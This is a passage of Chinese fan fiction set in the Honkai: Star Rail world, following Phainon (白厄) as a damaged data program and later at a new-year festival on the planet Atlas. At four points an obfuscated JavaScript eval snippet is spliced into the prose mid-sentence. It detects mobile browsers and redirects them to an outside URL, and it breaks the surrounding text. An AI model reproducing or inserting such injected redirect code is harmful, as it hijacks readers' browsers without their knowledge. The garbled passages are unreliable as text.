“不过已经好很多了。”开拓者说,“起码他的自我认知还挺清晰,也是个正常的人了……上次见他的时候和他聊天还得敲键盘看屏幕呢……看他这个样子,我总觉得他把从咱们打败铁墓到翁法罗斯升格那段时间的经历全忘了。” “比起忘记,对于他那段时间的存在状态来说,格式化应该是更准确的说法,但这未尝不是好事。”丹恒说。 “过去的噩梦仍徘徊在他的身后,对于他来说,留在伙伴身边,恐怕暂时仍然不是一个好的选择。” “你是说他需要静静!”三月七恍然大悟。 星期日沉稳地点了点头。 “是,我想,他还需要一些时间,来消化那些过去的噩梦,疗愈是个辛苦的过程,而这个过程中,他所能依靠的只有自己。” “感觉你也变了很多。”开拓者说。 星期日报之以礼貌得体的微笑。 “无论怎么说,找到人总归是个好消息。”开拓者又说,“我就知道那帮人的鬼话不能信。” “我怀疑他们说的也是真相。”丹恒沉思,“只不过是真相的一部分。” “这么说的话,确实有可能。”开拓者同样陷入思考,“如果是这样的话,就能解释审讯的时候阿格莱雅的金丝为什么纹丝不动了……毕竟那场火焰,我可记忆犹新。” “是啊。”丹恒说,“那场将所有不怀好意的目光隔绝在外的烈火……我们能再见到他,已经是个奇迹。” “是啊,所以人活着就行,我刚刚还偷偷拿仪器看了看,似乎除了有点没睡好,其他的各项指标都不错。”开拓者高高兴兴地说,“剩下的事情让他自己想办法吧,我对他很有信心。” “总有一天,他一定会变回我们认识的那个小白吧。” “恐怕不会。”星期日说,“纵使表面再相似,可所有的过去都会留下痕迹,也许伤口会治愈,但疤痕仍在……但假以时日,他总会接纳自己,正视自己所带来的苦痛和疮疤,而后,再次回到他拼尽全力保护的家园。” 正说着话,开拓者的通讯又叮咚一声响。 【神悟树庭.大地兽爱好者.阿那刻萨戈拉斯】:【定位】。 【神悟树庭.大地兽爱好者.阿那刻萨戈拉斯】:是这里吗? “不是……”开拓者欲哭无泪。 “那刻夏老师的占星术这么准吗?” 11. 你看我就说相信科学 倘若让阿那刻萨戈拉斯老师得知开拓者此时的所思所想,他八成会大笑两声,然后认真地告诫星穹列车的诸位。 相信科学。 占星术好用吗?好用。但稍微一翻开拓者的朋友圈,就能看到四个人凑在一起的大头照,“今天也要陶冶艺术情操!”的说说,和阿特拉斯星的定位,定位开拓者实在用不上占星术。刚刚阿格莱雅拜托开拓者帮忙的时候,开拓者那边的“对方正在输入……”明明灭灭,没有人性的阿格莱雅尚且算得上人精,有人性的阿格莱雅更是人精中的人精,意识到这到底意味着什么的时候,她人几乎愣在那里,因为他们都知道开拓者是个什么性格,这人能在初到翁法罗斯被人误解的时候毅然接下岁月泰坦的神权,正常来讲说两句客套话根本无需纠结,何况金织女士自认为给的酬劳不低,但对方吞吞吐吐半晌没说出话,那么结论显而易见。 “我刚刚和开拓者联系,希望他能在【开拓】的行路上多多留心白厄的踪迹,但他的反应……我怀疑他已经见过白厄了。”阿格莱雅说。 那刻夏本来不该在这里,他真的只是恰巧路过,真的不是占星术终于抓住了白厄的一点踪迹来和阿格莱雅一道分析,星轨明灭不定,在真实星空下的星轨怎么说都比用虚假之天的星星好用,前者好歹有点变量,后者就像你在做一道3+3=6的数学题,很有道理,但是毫无用处,阿那克萨戈拉斯其人本就算是个货真价实的天才,第一次占星算出3+3=6他差点笑出了声,研究了半个晚上,他得出结论。 我没错,星空错了。 相当渎神的结论,但年轻的学者不在乎。此后他将占星术抛之脑后,一路成为了众人眼中的渎神者,但他本人其实并未觉得有什么问题,于他而言,倘若神是客观存在的事物,那便以面对客观事物的心态去面对它,倘若神并不存在……不存在的东西理他干什么?所以他已经很久没再重操旧业,直到翁法罗斯真正升格。 那天,面对真实的星空,他再次提出疑问,他问,他的学生,哀丽秘榭的白厄在哪里? 彼时,星空没有给予他答案。 渎神者低下了头,看着桌上摆满的占星器具。 他想,这次星空可能没错,但也许是我错了。 他又想,没关系,占星术从来不是什么万无一失的手段——他下意识地忽视了自己在占星术一道上走的实际够远够长,以至于他的占星术从未出错。 能让他和这位金织女士心平气和聊天的事物并不多,白厄算一个,在白厄的事情上,他俩总能捏着鼻子毫无嫌隙地通力合作——实际上让他们之间产生龃龉的事情已经烟消云散,可不对付就是不对付,本能反应还是让他看到阿格莱雅就忍不住想呛两声,于是渎神的学者停了下来,问道。 “他们怎么说?” “说是按本人要求,报个平安。”阿格莱雅说,她的脸上出现了点担忧,“那孩子大约是不愿意回来。” “哦。”那刻夏想了想,还是把刻薄的词句憋了回去,“可以理解,毕竟真正经历了三千万世的只有他一个而已……他精神状态怎么样?” 实际上不用问也知道,在场的两人心知肚明,刚刚打败铁墓的时候,当他们重新恢复形体,以一种奇特的形态存在的时候,他们曾向开拓者询问,“白厄在哪?” 闻言,开拓者的表情变得无比……复杂。 他将众人领到一块屏幕面前。 “关于你们其实是电信号这件事……你们应该已经知情了?” “是。”那刻夏说。 第一天才的脑子毕竟不是白待的,但他也有些疑惑,毕竟这两个问题似乎风马牛不相及。 提到这里,开拓者脸上的愧疚更深。 “他将自己化作铁墓的棺椁,而后……”说到这,开拓者深吸了一口气,想说点什么,又没说下去,“总之……战后我们收集了残余的数据,但是数据残留太少,他也许仍然需要自我修复和迭代,现在只有简单的对话功能。” “也就是说,”那刻夏指着开拓者带来的屏幕,“我们可以在这里和他聊天?” “是的。”开拓者说,他低下了头,“很抱歉,因为数据残余过少,暂时只能修复到这个程度。” “没关系,”阿格莱雅说,她倒看得很开,“阁下,没关系,能找到就好。这本就是我们一手带大的孩子……不过是再次看着他长大。” 那刻夏老师便输入了一句话。 【Admi ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119672|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' n:你好。】 他看到缓冲条一闪。 【NeiKos496:你好。】 那刻夏想了想,再次输入。 【Admin:记得自己是谁吗?】 缓冲条很明显地转了半天,但还是给出了答案。 【NeiKos496:卡厄斯兰那。】 很奇怪,面对这个小东西,看着它的缓冲条转动,那刻夏竟然难得地起了点逗弄孩子的心思,于是他想了想,再次输入。 【Admin:卡厄斯兰那是谁?】 对于正常的程序来说,A=B和B=A并非理所当然的等价推算关系,就算是放在小孩子的角度,有时候如果问他,“你是谁?”“我是大地兽。”而反问回去,有的小孩子就会懵住。 “大地兽是谁?” 大地兽当然是世界上最可爱的生物……咳,扯远了,那刻夏看着缓冲条转呀转,眼底的笑意更深,他简直像是看到了刚刚来到树庭的小白厄,那时候白厄尚且没蝉联树庭十届辩论冠军,那刻夏稍微一问点什么,小白厄便歪着脑袋思索,最后给出个连那刻夏都觉得好笑的结论。 这次的缓冲条转的时间有点长,不过小小的程序尝试着、思索着给出了自己的答案。 【NeiKos496:是罪人。】 那刻夏愣了一下,他想,我的输入指令有问题?但上一次输入的问题还在屏幕上,这时候连阿格莱雅和开拓者也凑了过来,短暂的停顿后,卡厄斯兰那残存的数据,又给出了自己完善过的答案。 【NeiKos496:卡厄斯兰那,是万死难辞其咎的罪人。】 【Admin:输出指令有误,卡厄斯兰那不是罪人。】 缓冲条转的时间更长了,似乎新生的残余数据对于数据的输入有些懵,但缓冲结束之后,他仍然坚定、执着、准确地给出了答案。 【NeiKos496:卡厄斯兰那,是卑劣无耻的、万死难辞其咎的罪人。】 形容词怎么还多了,那刻夏想,一个小东西哪来的这么多负面形容词,他一时间没想好怎么纠正小东西的想法,于是转头问开拓者和阿格莱雅。 “这孩子怎么什么都往底层代码刻?” 12. 成年人的世界里 其实要说黄金裔对白厄一点负面情绪都没有,那可能真的是假话。 感性归感性,理性归理性,醒来之后,三千万世的记忆如浮光掠影般从黄金裔眼前划过,仿佛看了场开了几万倍速的电影。实际上这也是种保护机制,毕竟谁也不想一觉醒来被庞大如海的回忆撑爆大脑,对于他们而言,最后、也是最深刻的记忆,应该是有白厄参与的最后一次轮回,之所以这次轮回成为他们最主要的构成记忆,其实是因为…… “简单来说,因为纳努克又看了一眼翁法罗斯。”大黑塔说,“我查过δ-me13的操作日志,纳努克的第一次瞥视来源于因子Chaoz666,这次瞥视使得与十二因子关联的个体演算回路中产生具有【毁灭】特质的金血,第二次瞥视来源于因子NeiKos496,其恨意引来纳努克对这一个体的瞥视,这次瞥视中NeiKos496在命途狭间与纳努克产生接触,从而夺得净世金血,而现在,我们正在试图将纳努克的金血作为翁法罗斯升格的燃料……” “我有问题。”开拓者举手。 “说。”大黑塔简洁地回应。 “来自毁灭的金血也能成为燃料?”开拓者有些好奇,“不会把翁法罗斯炸个底朝天吗?” 大黑塔笑了一声。 “不会。”她说,“来自星神的血的确很少见,但如果将之当作一种特殊的赐福,相关的参考文献并不罕见,事实上我们已经在现在的翁法罗斯展开实验,实验内容……算了,做个比喻的话就是堆蛋糕,虽然这些金血的来源是真实的世界,但它与因子NeiKos496产生过交互,所以它的状态介于两者之间,而我们要做的就是以其为基底一层一层地收集能源,而在这个基底下进行的【再创世】,其相关的信息来源便是这枚作为基底的金血,相对来讲,比之完全的依托某人的记忆进行创世,这种也许更可靠一点。毕竟记忆可能会经过美化、修饰、掩盖和伪装,但记录可不会。” “我还是觉得很神奇。”开拓者说。 “不过现在距离那个时候还远着呢,”大黑塔向后一仰,老板椅转了转,“现在你们可以暂时把这东西放在NeiKos496那里,对它的恢复有好处,等到时机合适,再以之为基底对翁法罗斯进行升格。” “所以说这小东西就是白厄?”赛飞儿戳了戳NeiKos496的屏幕。 【NeiKos496】:(òωó?)!!! “装什么可爱。”赛飞儿不满地哼了一声。 【NeiKos496】:(。??︿??。) 赛飞儿:“……” “你还委屈上了?”她没好气地说,“你当时捅我的时候可是一点没留情。” 阿格莱雅看看左边抱臂气鼓鼓的赛法利娅,又看看右边缓冲条转来转去的NeiKos496,思来想去,只有一声叹息。 她当然知道白厄事出有因,作为逐火之旅千年的领袖,她本人也可以理解白厄的所作所为,但没有谁能代替受害者原谅,双方各有苦楚,她总没办法拉任何一边的偏架。 事实上她并没希望赛法利娅这么早来见到白厄,但诡计的半神总有办法,阿格莱雅起先苦恼于赛飞儿为何不肯和自己亲近,可在威胁解除的现在,赛飞儿几乎天天和她黏在一块,美其名曰“反正也没什么事情做,不跟着你我可就要去干点大事了。” 不过看来这场交锋有人率先夺得了胜利,NeiKos496的缓冲条转到了头,他哒哒哒地吐出一行句子。 【NeiKos496】:已暴露核心。 “什么意思?”赛飞儿有些没闹明白这小东西这一出到底是什么意思。 【NeiKos496】:核心损坏方法如下…… “诶停停停停停!”赛飞儿吓得一蹦三尺高,“怎么回事啊,你现在这个状态,损坏核心还能活吗? 【NeiKos496】:不能。 赛飞儿:“……” 能让伶牙俐齿的诡计半神短短几分钟内两次哑口无言,可见她确实被白厄的操作吓得一惊又一惊,她望向阿格莱雅,看着阿格莱雅无奈的眼神,她似乎突然明白了为什么阿格莱雅对这个消息遮遮掩掩,完全没有将他的存在公之于众的想法。 “……还是算了。”末了,她摸了摸耳朵,悻悻地说。 “裁缝女不让我跟傻子玩儿。” “我没这么说过。”阿格莱雅说。 【NeiKos496】:对不起。 “道歉的话等你恢复以后再说。”赛飞儿说,“现在你这样,显得我好像在欺负你似的。” 【NeiKos496】:没有,是我的错。 赛飞儿心情很复杂。 她并不是不识大体的人,否则也不会为了一个谎言离群索居八百年,只为奥赫玛的黎明机器永远光亮,理性上,得知一切的她其实能够理解白厄的所作所为,但情感上,谁也不会对一刀捅进自己胸膛的人有太多好感,她心绪复杂,末了,难得地叹了口气,但很快,她又想到了个捉弄人的好办法。 “这样吧,”她说,“要我原谅你,也不是不行。我总觉得咱俩最后那次赛跑,你作弊了。” 【N ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119673|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' eiKos496】:我没有。 “别管这些……咳,我,赛飞儿,要再次向你挑战!”她双手叉腰,笑容狡黠,“我们来赛跑吧,要是你这次还能赢过我,我们之间的恩怨就一笔勾销!” 【NeiKos496】:? 【NeiKos496】:?? 【NeiKos496】:我没有腿…… “又没说现在。”赛飞儿一摊手,“总之,你记得这件事就好,把你那个核心收起来,别天天想着让谁来炸了你的核心。” 【NeiKos496】:好吧…… 【NeiKos496】:但还是对不起,前辈。 赛飞儿被他一声前辈震得一激灵,那点愤怒的火星可怜巴巴地灭了,只剩一团茫然的烟,她认命地心说你都叫我前辈了我有什么办法,当前辈总得有点当前辈的样子,前辈的怒火自己憋着,前辈的火气自己受着,前辈还不敢再刺激自己这个为了翁法罗斯烧得就剩这么一点点的后辈,生怕他再弄出什么暴露核心的活,连伤身带费心,她几百年没吃过这么大的亏,于是她又是一挥手。 “我走了,裁缝女。”她兴味缺缺地说,“待在这里,怪生气的。” 她身形一闪,很快消失在阿格莱雅的视线里。 阿格莱雅和白厄默然无声。 “白厄。”似乎在斟酌言辞,过了一会儿,阿格莱雅才开口。 他的状态已经好了很多,最初的时候,还只能通过交互框与他交流,但短短几天,他似乎已经可以分辨附近语音的内容,并对之做出回应,于是他说。 【NeiKos496】:怎么了? “我理解你的所作所为,并希望你不要为对我做出的一切而愧疚,但……我没法代替所有受害者原谅你。不过其间种种,我会尽力弥合。” 缓冲条转了转。 【NeiKos496】:没关系,如果轻易获得原谅,我才会觉得奇怪,虽然事出有因,可我也确实切实地夺走过他人的性命。 “放心,”阿格莱雅说,“他们或许需要解释,需要交代,也需要时间。但我可以保证,没有人会希望你以命相偿,毕竟事出有因。” “下次,不要再暴露核心了,好吗?” 缓冲条转了很长时间。 【NeiKos496】:为什么? “因为无论何时,我们都一直信任着那位一直与我们同行、走上逐火之旅,开辟再创世伟业的伙伴白厄,”阿格莱雅说,“白厄,也请你更看重自己一点,好吗?” 她没有得到回答。 13. 快乐不需要理由 “在此之前,我从没想过我会拿出一整个下午的时间只为等待一朵花的盛开,对于现在的我而言,这确实是段奢侈又新鲜的经历。 这种花的名字叫做爆炸花,刚刚听到这个名字的时候,我还以为是一种会在开放时产生爆炸的植物,但格莱先生说不是,只是因为花朵会在某一个时刻突然绽放,所以被叫做爆炸花。 真是简单粗暴的命名方式,但当我看到它绽放的一瞬间,我突然明白了这个名字的来源。 爆炸花开放时,它的花丝会瞬间喷射到很远的地方,像是某种节日的彩带,据说是为了将种子释放到更远的地方,开放半个系统时后,爆炸花就会枯萎,而后新的一年,又会有新的花开放。 据说看到爆炸花开放的人会有好运气。” 白厄写下最后一个字,合上了旅行笔记,这是他来到阿特拉斯的第七天。 除去前两天的画展上和友人们的会面,他的生活大多数时候平淡而不起波澜,他预约了心理医生,并在第一次见面时对阿特拉斯的心理医生感到新奇,而那位医生似乎已经见怪不怪,她伸出了袍子下的触手,那几根触手游动着滑到了他的面前。 “我会触碰您,我会和您共感,这一切都已经写在告知书中,请确保您在开始治疗前已经签署告知书。”她翻看了一下资料,“白厄先生,对吧?” 白厄点了点头,对方温和地笑了笑。 “现在,请伸出您的附肢,或者前肢。” 白厄伸出了手。 “好,首先,我们的治疗过程会全程保密,您的权利受到《阿特拉斯公民权利书》保护,您应该已经阅读过相关文件。现在,请闭眼放松,想象自己已经沉入水中……灼热,烫,痛苦,不甘,悲伤……死亡和杀戮,悲泣的哭声……先生,这很沉重,愤怒仍然灼烧着您。” 白厄依言闭上了眼睛,触手缠绕上他的手腕,仿佛有什么东西共感了他的情绪,过往那些一直被他强压心底的痛苦似乎被一根轻巧的钩子勾了一下,又仿佛溺水者终于探出了头,片刻后,心理医生收回了她的触手,白厄感觉仿佛有什么东西随着她的触手被一并带走了。 “一种应急措施,先生。”心理医生说,“您的情况很严重,您所背负的要比大多数生命要背负的更多……过去几乎压垮您,先生。” “我有问题,”白厄说,“请问您刚刚……读取了我的……记忆?” 心理医生笑了。 “答案是没有,不过很多人会问这个问题,先生。我们所擅长的并非读取记忆,而是共感,换句话说,我们的能力让我们能与病患产生对当时感受的共鸣,但我们并不读取对于具体事物的记忆。” “每个人面对同样的事情,不一定会有相同的反应,我们也见过一些和记忆有关的种族,他们之中的有些人非常傲慢,将他人的苦痛视作软弱的证明,也有的人‘悲天悯人’,会说着“天啊,你好痛苦,让我来帮你解脱吧,”而后夺取他人痛苦的记忆,还自认为做了好事。”说到这里,心理医生摇摇头,笑了一声,“但事实上每一种情感都有其存在的理由,我们的共感能做到的也只是暂时的缓解……像是某种止痛剂。” “我该怎么办?”白厄又问。 “真正的解药从来都存在于患者的内心。”心理医生说,她表情温和,安抚地挥了挥她的触手,“也许有人会说,‘请你遗忘那些往事,着眼望向未来吧,未来必然是更光明的。’或者‘想想那些好的事,你还有爱你的亲人,世界如此美好’,但从来不会有人对失去后肢的人说‘站起来走一走吧,世界如此美好’,疾病就是疾病,并不会因为外界的美好而自动消失,同样的,痛苦就是痛苦,过往的一切都会留下痕迹,强行通过清洗记忆等方式要求病人遗忘从而达到‘治愈病人’的效果,在我们看来,是很不人道主义的行为。” “所以先生,真正的治疗方法从来只有一个。” “接受自我。” 白厄低下了头,心理医生仿佛看出了他的想法,她仍然语调温和。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119674|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我感受到了杀戮与火光,也感受到了您的痛苦与挣扎,白厄先生,过去的一切都会在您的身上留下痕迹,您不需强求自己一定要在短时间内走出来,也不需再背负他人的期待而行,您要有自己的生活。心理治疗并非一朝一夕即可奏效,一会我会给您开一些药物……这些药物会让您好受一点。”心理医生边说话边写处方,“按时吃药,定期复查。” 触手多真好,白厄突然想,现在这位心理医生小姐两只触手触碰自己的手腕,两只触手收拾桌上的文件,还有两只手正在写东西,看上去实在非常方便,他胡思乱想时,心理医生已经扯下那页处方,交到了他的面前。 “好了,可以去那边的自助机器拿药。” 他拿着药回到车厢,没留神,差点被车上的同伴撞个正着。 “谢尔微。”他准确地叫出了对方的名字,对方也刚好看到了他,于是笑嘻嘻地一摸头,“抱歉啊,白厄阁下。” “这么着急?”他问,“出了什么事?” 他对谢尔微还算熟悉,对方在见他第一面听到他的名字的时候就说“你有一个英雄的名字。”他却在几天之后才得知对方的姓名,她天天抱着如我所书不撒手,有事没事就给他讲述和他同名的英雄白厄的故事,起先他还担心那些故事会让他想起翁法罗斯的往事,但当谢尔微第三次讲述“负阳逐火真君逆时间河流而上独断万古”的故事的时候,他终于把心放进了肚子里,这故事魔改的不说一模一样至少也是毫不相干,以至于故事的主角都得艰难地在蛛丝马迹中找寻自己的痕迹,对方还要将那本那刻夏亲笔签名的书送给他,他没收。 假一赔十,一共十一本,也算打包出售了,他想。 “没事,白厄阁下。”谢尔微兴冲冲地说,“今天有庆祝日,要不要一起去?” “庆祝什么?” “不知道。”谢尔微回答得干脆又果断,“但不妨碍我们去凑个热闹。” “快乐是不需要理由的,白厄阁下!” 14. 不要被抓住 他们来得不算太晚,当他被抓着来到庆祝日的庆典现场的时候,天色还未完全暗下去,现场却已经三三两两聚起了不少人,庆典场地的最中心,火焰已然熊熊燃起。 “我还以为……这里会用灯。”白厄说。 “不不不,白厄阁下,”谢尔微摇头晃脑,“这火焰可不只是为了照明,主要是为了庆典气氛,气氛。你想想,如果在庆典场地的正中心,是个发着冷白光的光源,多冷漠,多呆板,多无趣。” “哦……”白厄想了想,的确,火焰天生给人温暖的感觉,作为庆典而言,一簇真实的火确实会比冷光源更打动人心,他透过火焰看着附近人的脸庞,每个人的脸上都洋溢着欢喜的笑意。 “格莱先生……不来吗?”他又问。 “本来舰长先生也想来的,但是公司那边好像突然下达了工作指令,”说着说着,谢尔微叹了口气,“加班真是万恶之源啊,你说是吧?” “不需要……我帮忙?” “没事,出来之前我问过了,舰长说主要是文书和接待前期准备工作,他一个人搞得定,还说他不是第一次来阿特拉斯,但是来阿特拉斯又碰上庆典日的机会可是相当难得,毕竟我们其实到处运送货物嘛……舰长先生说他上次参加庆典是半个琥珀纪之前,所以让我们凑凑热闹。” “那还真要……谢谢他。” “是啊,但他也不是什么烂好人啦,”谢尔微说,“主要是白厄阁下实在是武艺高强心地善良,我们舰长这才起了爱才之心,之后的路上要仰仗你的时候还多着呢……唔,当成入职福利吧,别放在心上,走!” 一边说着,她一边冲进了人群中。 “白厄阁下!一会儿见!” 她像一滴水汇入人群的河,白厄刚想向前走,却感觉有什么东西戳了戳他的手,但这东西没什么敌意,于是他下意识地低头,看到个小小的阿特拉斯人,他的触手上举着一朵花。 “……送给你。” 他很轻、很小声地说。 小小的孩子身高刚到白厄的腰,于是白厄半蹲下来,温和地望着他的眼睛。 “为什么?” 小孩子的另一只触手挠了挠头。 “因为哥哥好看。”他说,“庆典日的花,要送给好看的人。” “我觉得哥哥好看,我喜欢哥哥。”他又直白地、简单地说。 “……谢谢。” 也许受火焰的温度影响,白厄感觉自己的脸有点发烧,他几乎很久没被人这样直白地夸赞,对面的小孩子踮起了脚,意识到他要做什么,白厄忙把头又低了低。 “好了,哥哥。”片刻后,如他所料,他的头上多了朵花,而对面的孩子满意地拍了拍触手,似乎对自己的大作非常满意,“祝你快乐。” “也祝你快乐。”白厄轻声说,他试图在身上摸出点什么来回报这份珍贵的小小礼物,翻了翻口袋,意外地发现个小小的白色毛绒玩偶,似乎是他前两天在画展上带回的纪念品,于是他拿出了那个毛绒玩偶,把它塞到小孩子的手中。 “送你的,礼物。”他说。 小孩子却摇了摇头。 “庆典日的花不需要回礼,哥哥。”他执拗地说,又摆了摆手,欢快地融回人流之中。 “祝你快乐!” 他的声音很大,白厄摸了摸头上的花,不自觉地微笑起来,他想起哀丽秘榭也曾有过这样的庆典,那时他们刚收完秋天的麦子,大人们围在一起猜拳喝酒,在微醺中谈论着今年的收成,他那时候还小,和披索莉维娅他们一起在收完的麦地里追逐打闹,全然不顾麦茬会划伤他们的脚踝。而昔涟从来都是他们之中最沉稳的那个,她只是笑盈盈地坐在一边看着他们玩耍,时不时地翻开一张神谕牌。 “白厄。”昔涟说,她的声音不轻不重,却刚好能让人听得清清楚楚。 “不要被追上,不要被抓住。”她说。 现在回想起来,白厄疑心她那时是否话中有话,手持仪式剑和神谕牌的少女也许在最初的最初就已经看破了他的命运,她发出警告与谶语,却也知道他总会朝着命运走去,所以最后,她也只是一笑。 “不过,不要怕,被追上也没关系,卡厄斯兰那总能打败它,战胜它,对吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119675|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 庆典的人越来越多,他融入庆典的人群中,不多时,手边、身上又多了几朵花,谢尔微转了两圈又看到了白厄,她几乎笑弯了腰。 “白厄……阁下……”她笑得断断续续,笑得前仰后合,“您这满身的花……” 不用说,白厄也知道自己是个什么形象,阿特拉斯的花五颜六色形态各异,插在他的头发里歪歪扭扭乱七八糟,可他其实挺喜欢这样,于是他笑了,笑容里还带着点骄傲。 “我很喜欢。” “是,是,”谢尔微边笑边说,“只是和你……和你平时的形象太不符了,哎呀……” “我平时……什么样子?” “你不知道吗?”谢尔微惊奇,“平时你总是冷着脸,有种生人勿近的气场,舰长先生说每次找你都得做点心理建设,我更是,老实说今天把你抓出来简直透支了我这么多年的勇气……” “是吗?” “哎,别误会,我不是指责你的意思,毕竟每个人的身上都有故事嘛,我也不会问,毕竟属于个人隐私。更何况白厄阁下你虽然脸冷了点,但确实是个彻头彻尾的大好人,前两天那些箱子你一个人搬上搬下的,太靠谱了,我们舰队需要你这么靠谱的小伙子!”谢尔微说,说到最后,她甚至试图拍拍白厄的肩膀,可惜两人之间的身高差实在有点大,比划了一下,她只得悻悻地收回了手。 白厄目光一扫,身体微不可查地弯了弯,谢尔微使劲地摇摇头,摆出一副哭笑不得的表情。 “阁下,可别这样,”她苦着脸说,“简直像是说我矮一样。” “虽然我本来就矮。”她小声嘀咕。 这事儿一时间白厄还真不知道怎么安慰,他想了想,只好说道。 “还会长高的。” “……我成年很久了。”谢尔微说,“还是别说这个了,伤自尊。” “他们……在庆祝什么呢?”白厄又问。 “我刚刚问了一下,他们正在庆祝他们的星球又围绕中心星体公转了一周。”谢尔微说,“也就是说,按照宇宙更普遍的说法,现在是阿特拉斯的新年。” 15. 他看着家 新年啊…… 这样想来,他似乎是第一次在翁法罗斯之外的地方庆祝新年。在翁法罗斯,和新年差不多的概念应该是欢庆日。他幼年时在哀丽秘榭度过欢庆日,那天的餐桌上总会摆满蜜饼,他吃得满嘴都是碎屑,奥妲塔边笑边擦去他唇角的食物残渣,而希洛尼摩斯在一旁哈哈大笑,要自己新长了一岁的幼子拿起剑与他比试,他要看看幼子在新的一年是否长得更加健壮,实际上时间的流逝是线性的过程,并不会因为某个时间被人为地赋予意义而被割成一个一个节点,此后家乡被吞噬于黑潮,他孤身一人去往奥赫玛,奥赫玛的欢庆日比之哀丽秘榭要热闹得多,黑潮之下,大多数公民仍然能幸福而无知无觉地度过平凡又普通的生活,而今他在陌生的星球,稀里糊涂、误打误撞地闯入了他们的新年庆典——头上还插着五颜六色的花。 他看着欢乐的人群突然想,我这样的人,难道也有快乐的权利吗? 但也许是今天的心理治疗奏了效,他第一次下定了决心,决定在陌生的地方短暂地、偷偷地让自己放松一下,他为自己产生这个想法而羞愧,但身边的谢尔微毫无察觉,一个转身,她已经又欢乐地融入了人群中,白厄一回头,发现自己身边一个熟人也没有,只好叹息着微笑,也融入了人流之中。 他看到几个孩子追逐打闹,似乎在向天上扔着什么东西,那东西升上天空后便化作小小的流星,烧成一点金色的光芒,他起了好奇心,便凑了过去,仔细倾听。 “你耍赖,”有个孩子不满地嘟囔,“明明是我抛得更高。” “是你腕足力不足,”另一个孩子反唇相讥,“难道连高低你都看不出来吗?” “请问,你们在做什么?” 白厄小心翼翼地开口,尽量让自己和孩子们保持安全距离——他下意识地觉得孩子们会看到他就跑,但是没人跑,阿特拉斯的孩子胆子很大,于是那刚刚不满的孩子叽里咕噜地朝着面前高大的陌生青年抱怨––长得好看的没有坏人,阿特拉斯人一直都这么认为。 “我们在用帕拉叶给星星讲故事,谁扔得更高,谁的声音就更大,”他说,“明明是我扔得更高!” “是我,是我!”另一个孩子大声辩驳,“不许对着星星撒谎。” 那第一个说话的孩子看到面前沉默的青年,想了想,突然想到了一个好主意。 “哥哥,你可以帮我扔吗?” 咳,你都叫哥哥了,我还怎么拒绝,白厄想。 一声“好”脱口而出,他几乎不假思索地答应了这个请求。 “怎么扔?” “没什么更多的要求,只要扔得高高的——就好了!”第一个孩子说,他夸张地比出了一个长长的距离,“只要够高,怎么扔都行。” 白厄便接过了那孩子手上的“帕拉叶”,这片叶子一入手,白厄便敏锐地察觉到这东西与他见过的其他叶子的不同之处,这叶子很有质感,砸下去一定很疼,他没多想,拿起叶子随手一扔—— 那片叶子载着金色的光芒呼啸着飞向远方,比两个孩子扔出去的叶子要更亮,飞得更快、更高,燃烧得也更快,几乎一瞬间,那叶子便烧成了灰烬,白厄有些心虚,心想这东西是这么玩的吗,结果他一低头,两个孩子面带崇拜地看着他。 “哇,哥哥好厉害!” 他本想故作谦虚,可脸上的笑意却压也压不住,白厄想,哥哥好厉害真是某种强大的力量,这俩孩子下一秒让他打反物质军团他都能一口答应一刀一个,但和平的阿特拉斯很明显并没有太多反物质军团,所以孩子们的愿望很简单。 ——他们不知道从哪费力地拉出了一整箱帕拉叶,哥哥哥哥地叫个不停。 没办法,白厄从来不擅长拒绝小孩子的请求,不管是奥赫玛的孩子,还是阿特拉斯的孩子。他索性坐了下来,一枚一枚地向空中扔着叶子,那些金色的光点炫目地飞来飞去,他身边聚集的小孩子也越来越多,叶子和孩子都会增殖,他简直成了这片区域的孩子王,围观孩子们的“哇”声越来越响,越来越整齐,当叶子扔得差不多时,他已经迎来了这一片的崇拜目光。 